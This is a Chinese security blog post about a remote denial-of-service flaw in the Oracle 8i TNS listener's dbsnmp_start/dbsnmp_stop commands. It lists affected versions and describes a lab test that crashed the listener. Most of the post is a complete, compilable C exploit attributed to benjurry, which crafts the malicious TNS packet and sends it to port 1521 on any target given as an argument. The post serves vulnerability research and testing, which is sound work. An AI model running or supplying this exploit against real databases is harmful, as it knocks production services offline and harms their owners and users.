博客首页 注册 建议与交流 排行榜 加入友情链接
推荐 投诉 搜索: 帮助

tomqq & security

网络安全/IDS/SSL-VPN/WEB技术/java/
  tomqq.cublog.cn

关于作者
姓名:tomqq
职业:挨踢的
位置:成都
个人介绍:2004年毕业于四川大学计算机应用专业,硕士学历,毕业后一直从事IDS和SSL-VPN的研发至今。Email:hekong@gmail.com

|| << >> ||
我的分类


Oracle 8i dbsnmp命令远程拒绝服务漏洞
Oracle 8i dbsnmp命令远程拒绝服务漏洞
tomqq 4/13/2006
1、 概述
Oracle 8i存在一个安全漏洞,可以使攻击者对服务器程序造成拒绝服务攻击。如果LSNRCTL命令:dbsnmp_start和dbsnmp_stop(Oracle文档上说这些命令只应该在本地使用)中的任意一个命令被发送到远程的TNS监听服务,服务器程序就会发生内存错误,攻击者可能利用这个漏洞使服务器进程崩溃。结合其他漏洞,甚至可能执行任意指令。
 
2、 影响系统
Oracle Oracle8i 8.1.7.1
Oracle Oracle8i 8.1.7
Oracle Oracle8i 8.1.6
Oracle Oracle8i 8.1.5
Oracle Oracle8i 8.0.6
Oracle Oracle8i 8.0.5
Oracle Oracle8i 8.0.4
Oracle Oracle8i 8.0.2
Oracle Oracle8i 8.0.1
Oracle Oracle9i
 
3、 真机验证
有2台机器作为测试用机。215装有Oracle服务端,版本是8.1.7。首先,使用VC6编译攻击工具,得到test2.exe,运行:c:\test2 192.168.2..215


查看被攻击机器215,如图:

TNS服务被终止,使用Oracle客户端工具已经无法再连接数据库,攻击有效。
在第四帧攻击端发出了攻击串。

附:攻击程序

//benjurry(benjurry@263.net) 提供了如下测试程序:


#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <stdlib.h>
#pragma comment (lib,"Ws2_32")
#define PORT 1521

#define buffsize2 buffsize+180
int main(int argc, char *argv[])
{


char cmd1[]="(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=dbsnmp_start)";
char cmd2[]="(VERSION=1)))";
char head[]="\x00\x59\x00\x00\x01\x00\x00\x00\x01\x36"
"\x01\x2c\x00\x00\x08\x00\x7f\xff\x7f\x08\x00\x00\x00\x01"
"\x00\x1f\x00\x3a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x34\xe6\x00\x00\x00\x01\x00\x00"
"\x00\x00\x00\x00\x00\x00";

char buffer2[200];
int ret;
int packetlength;
int cmdlength;
int tt;

WSADATA WSAData;
struct hostent?*ht;
struct sockaddr_in?server;

printf("Oracle dbsnmp command Remote Vulnerability discoveried by Benjurry\n");
printf("Code by benjurry,benjurry@263.net\n");
printf("www.xfocus.org?www.benjurry.org\n");
if(argc<2)
{
printf("useage:%s target\n",argv[0]);
exit(1);
}
tt=sizeof(head);

packetlength=58+sizeof(cmd1)+sizeof(cmd2)-2;


cmdlength=sizeof(cmd1)+sizeof(cmd2)-2;

memcpy(buffer2,head,sizeof(head)-1);
memcpy(buffer2+sizeof(head)-1,cmd1,sizeof(cmd1)-1);
memcpy(buffer2+sizeof(head)-1+sizeof(cmd1)-1,cmd2,sizeof(cmd2));



buffer2[0]=packetlength>> 8;
buffer2[1]=packetlength & 0xff;
buffer2[24]=cmdlength>>8;
buffer2[25]=cmdlength& 0xff;





if((tt=WSAStartup(MAKEWORD(1,1), &WSAData)) != 0)
{
printf("WSAStartup failed.\n");
tt=GetLastError();
WSACleanup();
exit(1);
}
if((ht = gethostbyname(argv[1]))==0)
{
printf("Unable to resolve host %s\n",argv[1]);
exit(1);
}
server.sin_port = htons(PORT);
server.sin_family=AF_INET;
server.sin_addr=*((struct in_addr *)ht->h_addr);
if((ret = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("Unable to set up socket\n");
exit(1);
}?

if((connect(ret, (struct sockaddr *) &server, sizeof(server))) == -1)
{
printf("Unable to connect\n");
exit(1);
}
else
printf("Connected.\n");
//if(send(ret, tnsping, 100, 0) == -1)


if(send(ret, buffer2, packetlength, 0) == -1)
{
printf("Unable to send\n");
exit(1);
}
else
{
printf("code sented...\n");

}
Sleep(1000);
closesocket(ret);
return 0;


}

发表于: 2008-05-03,修改于: 2008-05-06 17:28,已浏览73次,有评论0条 推荐 投诉


网友评论
 发表评论